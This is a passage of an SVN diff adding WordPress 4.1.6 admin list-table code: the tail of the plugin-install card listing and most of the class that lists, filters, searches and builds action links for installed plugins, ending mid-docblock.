+	<?php install_search_form( isset( $views['plugin-install-search'] ) ); ?>
+</div>
+<?php
+	}
+
+	/**
+	 * Override the parent display() so we can provide a different container.
+	 */
+	public function display() {
+		$singular = $this->_args['singular'];
+
+		$data_attr = '';
+
+		if ( $singular ) {
+			$data_attr = " data-wp-lists='list:$singular'";
+		}
+
+		$this->display_tablenav( 'top' );
+
+?>
+<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
+
+	<div id="the-list"<?php echo $data_attr; ?>>
+		<?php $this->display_rows_or_placeholder(); ?>
+	</div>
+</div>
+<?php
+		$this->display_tablenav( 'bottom' );
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function display_tablenav( $which ) {
+		if ( $GLOBALS['tab'] === 'featured' ) {
+			return;
+		}
+
+		if ( 'top' ==  $which ) {
+			wp_referer_field();
+		?>
+			<div class="tablenav top">
+				<div class="alignleft actions">
+					<?php
+					/**
+					 * Fires before the Plugin Install table header pagination is displayed.
+					 *
+					 * @since 2.7.0
+					 */
+					do_action( 'install_plugins_table_header' ); ?>
+				</div>
+				<?php $this->pagination( $which ); ?>
+				<br class="clear" />
+			</div>
+		<?php } else { ?>
+			<div class="tablenav bottom">
+				<?php $this->pagination( $which ); ?>
+				<br class="clear" />
+			</div>
+		<?php
+		}
+	}
+
+	protected function get_table_classes() {
+		return array( 'widefat', $this->_args['plural'] );
+	}
+
+	public function get_columns() {
+		return array();
+	}
+
+	/**
+	 * @param object $plugin_a
+	 * @param object $plugin_b
+	 * @return int
+	 */
+	private function order_callback( $plugin_a, $plugin_b ) {
+		$orderby = $this->orderby;
+		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
+			return 0;
+		}
+
+		$a = $plugin_a->$orderby;
+		$b = $plugin_b->$orderby;
+
+		if ( $a == $b ) {
+			return 0;
+		}
+
+		if ( 'DESC' == $this->order ) {
+			return ( $a < $b ) ? 1 : -1;
+		} else {
+			return ( $a < $b ) ? -1 : 1;
+		}
+	}
+
+	public function display_rows() {
+		$plugins_allowedtags = array(
+			'a' => array( 'href' => array(),'title' => array(), 'target' => array() ),
+			'abbr' => array( 'title' => array() ),'acronym' => array( 'title' => array() ),
+			'code' => array(), 'pre' => array(), 'em' => array(),'strong' => array(),
+			'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array()
+		);
+
+		$plugins_group_titles = array(
+			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
+			'Social'      => _x( 'Social',      'Plugin installer group title' ),
+			'Tools'       => _x( 'Tools',       'Plugin installer group title' ),
+		);
+
+		$group = null;
+
+		foreach ( (array) $this->items as $plugin ) {
+			if ( is_object( $plugin ) ) {
+				$plugin = (array) $plugin;
+			}
+
+			// Display the group heading if there is one
+			if ( isset( $plugin['group'] ) && $plugin['group'] != $group ) {
+				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
+					$group_name = $this->groups[ $plugin['group'] ];
+					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
+						$group_name = $plugins_group_titles[ $group_name ];
+					}
+				} else {
+					$group_name = $plugin['group'];
+				}
+
+				// Starting a new group, close off the divs of the last one
+				if ( ! empty( $group ) ) {
+					echo '</div></div>';
+				}
+
+				echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
+				// needs an extra wrapping div for nth-child selectors to work
+				echo '<div class="plugin-items">';
+
+				$group = $plugin['group'];
+			}
+			$title = wp_kses( $plugin['name'], $plugins_allowedtags );
+
+			// Remove any HTML from the description.
+			$description = strip_tags( $plugin['short_description'] );
+			$version = wp_kses( $plugin['version'], $plugins_allowedtags );
+
+			$name = strip_tags( $title . ' ' . $version );
+
+			$author = wp_kses( $plugin['author'], $plugins_allowedtags );
+			if ( ! empty( $author ) ) {
+				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
+			}
+
+			$action_links = array();
+
+			if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
+				$status = install_plugin_install_status( $plugin );
+
+				switch ( $status['status'] ) {
+					case 'install':
+						if ( $status['url'] ) {
+							/* translators: 1: Plugin name and version. */
+							$action_links[] = '<a class="install-now button" href="' . $status['url'] . '" aria-label="' . esc_attr( sprintf( __( 'Install %s now' ), $name ) ) . '">' . __( 'Install Now' ) . '</a>';
+						}
+
+						break;
+					case 'update_available':
+						if ( $status['url'] ) {
+							/* translators: 1: Plugin name and version */
+							$action_links[] = '<a class="button" href="' . $status['url'] . '" aria-label="' . esc_attr( sprintf( __( 'Update %s now' ), $name ) ) . '">' . __( 'Update Now' ) . '</a>';
+						}
+
+						break;
+					case 'latest_installed':
+					case 'newer_installed':
+						$action_links[] = '<span class="button button-disabled" title="' . esc_attr__( 'This plugin is already installed and is up to date' ) . ' ">' . _x( 'Installed', 'plugin' ) . '</span>';
+						break;
+				}
+			}
+
+			$details_link   = self_admin_url( 'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
+								'&amp;TB_iframe=true&amp;width=600&amp;height=550' );
+
+			/* translators: 1: Plugin name and version. */
+			$action_links[] = '<a href="' . esc_url( $details_link ) . '" class="thickbox" aria-label="' . esc_attr( sprintf( __( 'More information about %s' ), $name ) ) . '" data-title="' . esc_attr( $name ) . '">' . __( 'More Details' ) . '</a>';
+
+			if ( !empty( $plugin['icons']['svg'] ) ) {
+				$plugin_icon_url = $plugin['icons']['svg'];
+			} elseif ( !empty( $plugin['icons']['2x'] ) ) {
+				$plugin_icon_url = $plugin['icons']['2x'];
+			} elseif ( !empty( $plugin['icons']['1x'] ) ) {
+				$plugin_icon_url = $plugin['icons']['1x'];
+			} else {
+				$plugin_icon_url = $plugin['icons']['default'];
+			}
+
+			/**
+			 * Filter the install action links for a plugin.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param array $action_links An array of plugin action hyperlinks. Defaults are links to Details and Install Now.
+			 * @param array $plugin       The plugin currently being listed.
+			 */
+			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );
+		?>
+		<div class="plugin-card">
+			<div class="plugin-card-top">
+				<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox plugin-icon"><img src="<?php echo esc_attr( $plugin_icon_url ) ?>" /></a>
+				<div class="name column-name">
+					<h4><a href="<?php echo esc_url( $details_link ); ?>" class="thickbox"><?php echo $title; ?></a></h4>
+				</div>
+				<div class="action-links">
+					<?php
+						if ( $action_links ) {
+							echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
+						}
+					?>
+				</div>
+				<div class="desc column-description">
+					<p><?php echo $description; ?></p>
+					<p class="authors"><?php echo $author; ?></p>
+				</div>
+			</div>
+			<div class="plugin-card-bottom">
+				<div class="vers column-rating">
+					<?php wp_star_rating( array( 'rating' => $plugin['rating'], 'type' => 'percent', 'number' => $plugin['num_ratings'] ) ); ?>
+					<span class="num-ratings">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
+				</div>
+				<div class="column-updated">
+					<strong><?php _e( 'Last Updated:' ); ?></strong> <span title="<?php echo esc_attr( $plugin['last_updated'] ); ?>">
+						<?php printf( __( '%s ago' ), human_time_diff( strtotime( $plugin['last_updated'] ) ) ); ?>
+					</span>
+				</div>
+				<div class="column-downloaded">
+					<?php echo sprintf( _n( '%s download', '%s downloads', $plugin['downloaded'] ), number_format_i18n( $plugin['downloaded'] ) ); ?>
+				</div>
+				<div class="column-compatibility">
+					<?php
+					if ( ! empty( $plugin['tested'] ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $plugin['tested'] ) ), $plugin['tested'], '>' ) ) {
+						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
+					} elseif ( ! empty( $plugin['requires'] ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $plugin['requires'] ) ), $plugin['requires'], '<' ) ) {
+						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
+					} else {
+						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
+					}
+					?>
+				</div>
+			</div>
+		</div>
+		<?php
+		}
+
+		// Close off the group divs of the last one
+		if ( ! empty( $group ) ) {
+			echo '</div></div>';
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-plugins-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-plugins-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-plugins-list-table.php	(revision 33402)
@@ -0,0 +1,634 @@
+<?php
+/**
+ * Plugins List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Plugins_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $status, $page;
+
+		parent::__construct( array(
+			'plural' => 'plugins',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$status = 'all';
+		if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search' ) ) )
+			$status = $_REQUEST['plugin_status'];
+
+		if ( isset($_REQUEST['s']) )
+			$_SERVER['REQUEST_URI'] = add_query_arg('s', wp_unslash($_REQUEST['s']) );
+
+		$page = $this->get_pagenum();
+	}
+
+	protected function get_table_classes() {
+		return array( 'widefat', $this->_args['plural'] );
+	}
+
+	public function ajax_user_can() {
+		return current_user_can('activate_plugins');
+	}
+
+	public function prepare_items() {
+		global $status, $plugins, $totals, $page, $orderby, $order, $s;
+
+		wp_reset_vars( array( 'orderby', 'order', 's' ) );
+
+		/**
+		 * Filter the full array of plugins to list in the Plugins list table.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @see get_plugins()
+		 *
+		 * @param array $plugins An array of plugins to display in the list table.
+		 */
+		$plugins = array(
+			'all' => apply_filters( 'all_plugins', get_plugins() ),
+			'search' => array(),
+			'active' => array(),
+			'inactive' => array(),
+			'recently_activated' => array(),
+			'upgrade' => array(),
+			'mustuse' => array(),
+			'dropins' => array()
+		);
+
+		$screen = $this->screen;
+
+		if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {
+
+			/**
+			 * Filter whether to display the advanced plugins list table.
+			 *
+			 * There are two types of advanced plugins - must-use and drop-ins -
+			 * which can be used in a single site or Multisite network.
+			 *
+			 * The $type parameter allows you to differentiate between the type of advanced
+			 * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param bool   $show Whether to show the advanced plugins for the specified
+			 *                     plugin type. Default true.
+			 * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
+			 */
+			if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
+				$plugins['mustuse'] = get_mu_plugins();
+			}
+
+			/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
+			if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) )
+				$plugins['dropins'] = get_dropins();
+
+			if ( current_user_can( 'update_plugins' ) ) {
+				$current = get_site_transient( 'update_plugins' );
+				foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
+					if ( isset( $current->response[ $plugin_file ] ) ) {
+						$plugins['all'][ $plugin_file ]['update'] = true;
+						$plugins['upgrade'][ $plugin_file ] = $plugins['all'][ $plugin_file ];
+					}
+				}
+			}
+		}
+
+		set_transient( 'plugin_slugs', array_keys( $plugins['all'] ), DAY_IN_SECONDS );
+
+		if ( ! $screen->in_admin( 'network' ) ) {
+			$recently_activated = get_option( 'recently_activated', array() );
+
+			foreach ( $recently_activated as $key => $time )
+				if ( $time + WEEK_IN_SECONDS < time() )
+					unset( $recently_activated[$key] );
+			update_option( 'recently_activated', $recently_activated );
+		}
+
+		$plugin_info = get_site_transient( 'update_plugins' );
+
+		foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
+			// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
+			if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
+				$plugins['all'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], $plugin_data );
+			} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
+				$plugins['all'][ $plugin_file ] = $plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], $plugin_data );
+			}
+
+			// Filter into individual sections
+			if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
+				// On the non-network screen, filter out network-only plugins as long as they're not individually activated
+				unset( $plugins['all'][ $plugin_file ] );
+			} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
+				// On the non-network screen, filter out network activated plugins
+				unset( $plugins['all'][ $plugin_file ] );
+			} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
+				|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
+				// On the non-network screen, populate the active list with plugins that are individually activated
+				// On the network-admin screen, populate the active list with plugins that are network activated
+				$plugins['active'][ $plugin_file ] = $plugin_data;
+			} else {
+				if ( ! $screen->in_admin( 'network' ) && isset( $recently_activated[ $plugin_file ] ) ) {
+					// On the non-network screen, populate the recently activated list with plugins that have been recently activated
+					$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
+				}
+				// Populate the inactive list with plugins that aren't activated
+				$plugins['inactive'][ $plugin_file ] = $plugin_data;
+			}
+		}
+
+		if ( $s ) {
+			$status = 'search';
+			$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
+		}
+
+		$totals = array();
+		foreach ( $plugins as $type => $list )
+			$totals[ $type ] = count( $list );
+
+		if ( empty( $plugins[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
+			$status = 'all';
+
+		$this->items = array();
+		foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
+			// Translate, Don't Apply Markup, Sanitize HTML
+			$this->items[$plugin_file] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
+		}
+
+		$total_this_page = $totals[ $status ];
+
+		if ( $orderby ) {
+			$orderby = ucfirst( $orderby );
+			$order = strtoupper( $order );
+
+			uasort( $this->items, array( $this, '_order_callback' ) );
+		}
+
+		$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );
+
+		$start = ( $page - 1 ) * $plugins_per_page;
+
+		if ( $total_this_page > $plugins_per_page )
+			$this->items = array_slice( $this->items, $start, $plugins_per_page );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_this_page,
+			'per_page' => $plugins_per_page,
+		) );
+	}
+
+	/**
+	 * @staticvar string $term
+	 * @param array $plugin
+	 * @return boolean
+	 */
+	public function _search_callback( $plugin ) {
+		static $term;
+		if ( is_null( $term ) )
+			$term = wp_unslash( $_REQUEST['s'] );
+
+		foreach ( $plugin as $value ) {
+			if ( false !== stripos( strip_tags( $value ), $term ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * @global string $orderby
+	 * @global string $order
+	 * @param array $plugin_a
+	 * @param array $plugin_b
+	 * @return int
+	 */
+	public function _order_callback( $plugin_a, $plugin_b ) {
+		global $orderby, $order;
+
+		$a = $plugin_a[$orderby];
+		$b = $plugin_b[$orderby];
+
+		if ( $a == $b )
+			return 0;
+
+		if ( 'DESC' == $order )
+			return ( $a < $b ) ? 1 : -1;
+		else
+			return ( $a < $b ) ? -1 : 1;
+	}
+
+	public function no_items() {
+		global $plugins;
+
+		if ( !empty( $plugins['all'] ) )
+			_e( 'No plugins found.' );
+		else
+			_e( 'You do not appear to have any plugins available at this time.' );
+	}
+
+	public function get_columns() {
+		global $status;
+
+		return array(
+			'cb'          => !in_array( $status, array( 'mustuse', 'dropins' ) ) ? '<input type="checkbox" />' : '',
+			'name'        => __( 'Plugin' ),
+			'description' => __( 'Description' ),
+		);
+	}
+
+	protected function get_sortable_columns() {
+		return array();
+	}
+
+	protected function get_views() {
+		global $totals, $status;
+
+		$status_links = array();
+		foreach ( $totals as $type => $count ) {
+			if ( !$count )
+				continue;
+
+			switch ( $type ) {
+				case 'all':
+					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'plugins' );
+					break;
+				case 'active':
+					$text = _n( 'Active <span class="count">(%s)</span>', 'Active <span class="count">(%s)</span>', $count );
+					break;
+				case 'recently_activated':
+					$text = _n( 'Recently Active <span class="count">(%s)</span>', 'Recently Active <span class="count">(%s)</span>', $count );
+					break;
+				case 'inactive':
+					$text = _n( 'Inactive <span class="count">(%s)</span>', 'Inactive <span class="count">(%s)</span>', $count );
+					break;
+				case 'mustuse':
+					$text = _n( 'Must-Use <span class="count">(%s)</span>', 'Must-Use <span class="count">(%s)</span>', $count );
+					break;
+				case 'dropins':
+					$text = _n( 'Drop-ins <span class="count">(%s)</span>', 'Drop-ins <span class="count">(%s)</span>', $count );
+					break;
+				case 'upgrade':
+					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
+					break;
+			}
+
+			if ( 'search' != $type ) {
+				$status_links[$type] = sprintf( "<a href='%s' %s>%s</a>",
+					add_query_arg('plugin_status', $type, 'plugins.php'),
+					( $type == $status ) ? ' class="current"' : '',
+					sprintf( $text, number_format_i18n( $count ) )
+					);
+			}
+		}
+
+		return $status_links;
+	}
+
+	protected function get_bulk_actions() {
+		global $status;
+
+		$actions = array();
+
+		if ( 'active' != $status )
+			$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' );
+
+		if ( 'inactive' != $status && 'recent' != $status )
+			$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' );
+
+		if ( !is_multisite() || $this->screen->in_admin( 'network' ) ) {
+			if ( current_user_can( 'update_plugins' ) )
+				$actions['update-selected'] = __( 'Update' );
+			if ( current_user_can( 'delete_plugins' ) && ( 'active' != $status ) )
+				$actions['delete-selected'] = __( 'Delete' );
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * @global string $status
+	 * @param string $which
+	 * @return null
+	 */
+	public function bulk_actions( $which = '' ) {
+		global $status;
+
+		if ( in_array( $status, array( 'mustuse', 'dropins' ) ) )
+			return;
+
+		parent::bulk_actions( $which );
+	}
+
+	/**
+	 * @global string $status
+	 * @param string $which
+	 * @return null
+	 */
+	protected function extra_tablenav( $which ) {
+		global $status;
+
+		if ( ! in_array($status, array('recently_activated', 'mustuse', 'dropins') ) )
+			return;
+
+		echo '<div class="alignleft actions">';
+
+		if ( ! $this->screen->in_admin( 'network' ) && 'recently_activated' == $status )
+			submit_button( __( 'Clear List' ), 'button', 'clear-recent-list', false );
+		elseif ( 'top' == $which && 'mustuse' == $status )
+			echo '<p>' . sprintf( __( 'Files in the <code>%s</code> directory are executed automatically.' ), str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) ) . '</p>';
+		elseif ( 'top' == $which && 'dropins' == $status )
+			echo '<p>' . sprintf( __( 'Drop-ins are advanced plugins in the <code>%s</code> directory that replace WordPress functionality when present.' ), str_replace( ABSPATH, '', WP_CONTENT_DIR ) ) . '</p>';
+
+		echo '</div>';
+	}
+
+	public function current_action() {
+		if ( isset($_POST['clear-recent-list']) )
+			return 'clear-recent-list';
+
+		return parent::current_action();
+	}
+
+	public function display_rows() {
+		global $status;
+
+		if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ) ) )
+			return;
+
+		foreach ( $this->items as $plugin_file => $plugin_data )
+			$this->single_row( array( $plugin_file, $plugin_data ) );
+	}
+
+	/**
+	 * @global string $status
+	 * @global int $page
+	 * @global string $s
+	 * @global array $totals
+	 * @param array $item
+	 */
+	public function single_row( $item ) {
+		global $status, $page, $s, $totals;
+
+		list( $plugin_file, $plugin_data ) = $item;
+		$context = $status;
+		$screen = $this->screen;
+
+		// Pre-order.
+		$actions = array(
+			'deactivate' => '',
+			'activate' => '',
+			'details' => '',
+			'edit' => '',
+			'delete' => '',
+		);
+
+		if ( 'mustuse' == $context ) {
+			$is_active = true;
+		} elseif ( 'dropins' == $context ) {
+			$dropins = _get_dropins();
+			$plugin_name = $plugin_file;
+			if ( $plugin_file != $plugin_data['Name'] )
+				$plugin_name .= '<br/>' . $plugin_data['Name'];
+			if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant
+				$is_active = true;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
+			} elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true
+				$is_active = true;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
+			} else {
+				$is_active = false;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="attention">' . __('Inactive:') . '</span></strong> ' . sprintf( __( 'Requires <code>%s</code> in <code>wp-config.php</code>.' ), "define('" . $dropins[ $plugin_file ][1] . "', true);" ) . '</p>';
+			}
+			if ( $plugin_data['Description'] )
+				$description .= '<p>' . $plugin_data['Description'] . '</p>';
+		} else {
+			if ( $screen->in_admin( 'network' ) )
+				$is_active = is_plugin_active_for_network( $plugin_file );
+			else
+				$is_active = is_plugin_active( $plugin_file );
+
+			if ( $screen->in_admin( 'network' ) ) {
+				if ( $is_active ) {
+					if ( current_user_can( 'manage_network_plugins' ) )
+						$actions['deactivate'] = '<a href="' . wp_nonce_url('plugins.php?action=deactivate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Deactivate this plugin') . '">' . __('Network Deactivate') . '</a>';
+				} else {
+					if ( current_user_can( 'manage_network_plugins' ) )
+						$actions['activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin for all sites in this network') . '" class="edit">' . __('Network Activate') . '</a>';
+					if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) )
+						$actions['delete'] = '<a href="' . wp_nonce_url('plugins.php?action=delete-selected&amp;checked[]=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins') . '" title="' . esc_attr__('Delete this plugin') . '" class="delete">' . __('Delete') . '</a>';
+				}
+			} else {
+				if ( $is_active ) {
+					$actions['deactivate'] = '<a href="' . wp_nonce_url('plugins.php?action=deactivate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Deactivate this plugin') . '">' . __('Deactivate') . '</a>';
+				} else {
+					$actions['activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" class="edit">' . __('Activate') . '</a>';
+
+					if ( ! is_multisite() && current_user_can('delete_plugins') )
+						$actions['delete'] = '<a href="' . wp_nonce_url('plugins.php?action=delete-selected&amp;checked[]=' . $plugin_file . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins') . '" title="' . esc_attr__('Delete this plugin') . '" class="delete">' . __('Delete') . '</a>';
+				} // end if $is_active
+
+			 } // end if $screen->in_admin( 'network' )
+
+			if ( ( ! is_multisite() || $screen->in_admin( 'network' ) ) && current_user_can('edit_plugins') && is_writable(WP_PLUGIN_DIR . '/' . $plugin_file) )
+				$actions['edit'] = '<a href="plugin-editor.php?file=' . $plugin_file . '" title="' . esc_attr__('Open this file in the Plugin Editor') . '" class="edit">' . __('Edit') . '</a>';
+		} // end if $context
+
+		$prefix = $screen->in_admin( 'network' ) ? 'network_admin_' : '';
+
+		/**
+		 * Filter the action links displayed for each plugin in the Plugins list table.
+		 *
+		 * The dynamic portion of the hook name, `$prefix`, refers to the context the
+		 * action links are displayed in. The 'network_admin_' prefix is used if the
+		 * current screen is the Network plugins list table. The prefix is empty ('')
+		 * if the current screen is the site plugins list table.
+		 *
+		 * The default action links for the Network plugins list table include
+		 * 'Network Activate', 'Network Deactivate', 'Edit', and 'Delete'.
+		 *
+		 * The default action links for the site plugins list table include
+		 * 'Activate', 'Deactivate', and 'Edit', for a network site, and
+		 * 'Activate', 'Deactivate', 'Edit', and 'Delete' for a single site.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array  $actions     An array of plugin action links.
+		 * @param string $plugin_file Path to the plugin file.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $context     The plugin context. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade',
+		 *                            'Must-Use', 'Drop-ins', 'Search'.
+		 */
+		$actions = apply_filters( $prefix . 'plugin_action_links', array_filter( $actions ), $plugin_file, $plugin_data, $context );
+
+		/**
+		 * Filter the list of action links displayed for a specific plugin.
+		 *
+		 * The first dynamic portion of the hook name, $prefix, refers to the context
+		 * the action links are displayed in. The 'network_admin_' prefix is used if the
+		 * current screen is the Network plugins list table. The prefix is empty ('')
+		 * if the current screen is the site plugins list table.
+		 *
+		 * The second dynamic portion of the hook name, $plugin_file, refers to the path
+		 * to the plugin file, relative to the plugins directory.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $actions     An array of plugin action links.
+		 * @param string $plugin_file Path to the plugin file.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $context     The plugin context. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade',
+		 *                            'Must-Use', 'Drop-ins', 'Search'.
+		 */
+		$actions = apply_filters( $prefix . "plugin_action_links_$plugin_file", $actions, $plugin_file, $plugin_data, $context );
+
+		$class = $is_active ? 'active' : 'inactive';
+		$checkbox_id =  "checkbox_" . md5($plugin_data['Name']);
+		if ( in_array( $status, array( 'mustuse', 'dropins' ) ) ) {
+			$checkbox = '';
+		} else {
+			$checkbox = "<label class='screen-reader-text' for='" . $checkbox_id . "' >" . sprintf( __( 'Select %s' ), $plugin_data['Name'] ) . "</label>"
+				. "<input type='checkbox' name='checked[]' value='" . esc_attr( $plugin_file ) . "' id='" . $checkbox_id . "' />";
+		}
+		if ( 'dropins' != $context ) {
+			$description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : '&nbsp;' ) . '</p>';
+			$plugin_name = $plugin_data['Name'];
+		}
+
+		$id = sanitize_title( $plugin_name );
+		if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] ) )
+			$class .= ' update';
+
+		echo "<tr id='$id' class='$class'>";
+
+		list( $columns, $hidden ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$style = '';
+			if ( in_array( $column_name, $hidden ) )
+				$style = ' style="display:none;"';
+
+			switch ( $column_name ) {
+				case 'cb':
+					echo "<th scope='row' class='check-column'>$checkbox</th>";
+					break;
+				case 'name':
+					echo "<td class='plugin-title'$style><strong>$plugin_name</strong>";
+					echo $this->row_actions( $actions, true );
+					echo "</td>";
+					break;
+				case 'description':
+					echo "<td class='column-description desc'$style>
+						<div class='plugin-description'>$description</div>
+						<div class='$class second plugin-version-author-uri'>";
+
+					$plugin_meta = array();
+					if ( !empty( $plugin_data['Version'] ) )
+						$plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
+					if ( !empty( $plugin_data['Author'] ) ) {
+						$author = $plugin_data['Author'];
+						if ( !empty( $plugin_data['AuthorURI'] ) )
+							$author = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
+						$plugin_meta[] = sprintf( __( 'By %s' ), $author );
+					}
+
+					// Details link using API info, if available
+					if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) {
+						$plugin_meta[] = sprintf( '<a href="%s" class="thickbox" aria-label="%s" data-title="%s">%s</a>',
+							esc_url( network_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] .
+								'&TB_iframe=true&width=600&height=550' ) ),
+							esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ),
+							esc_attr( $plugin_name ),
+							__( 'View details' )
+						);
+					} elseif ( ! empty( $plugin_data['PluginURI'] ) ) {
+						$plugin_meta[] = sprintf( '<a href="%s">%s</a>',
+							esc_url( $plugin_data['PluginURI'] ),
+							__( 'Visit plugin site' )
+						);
+					}
+
+					/**
+					 * Filter the array of row meta for each plugin in the Plugins list table.
+					 *
+					 * @since 2.8.0
+					 *
+					 * @param array  $plugin_meta An array of the plugin's metadata,
+					 *                            including the version, author,
+					 *                            author URI, and plugin URI.
+					 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+					 * @param array  $plugin_data An array of plugin data.
+					 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+					 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
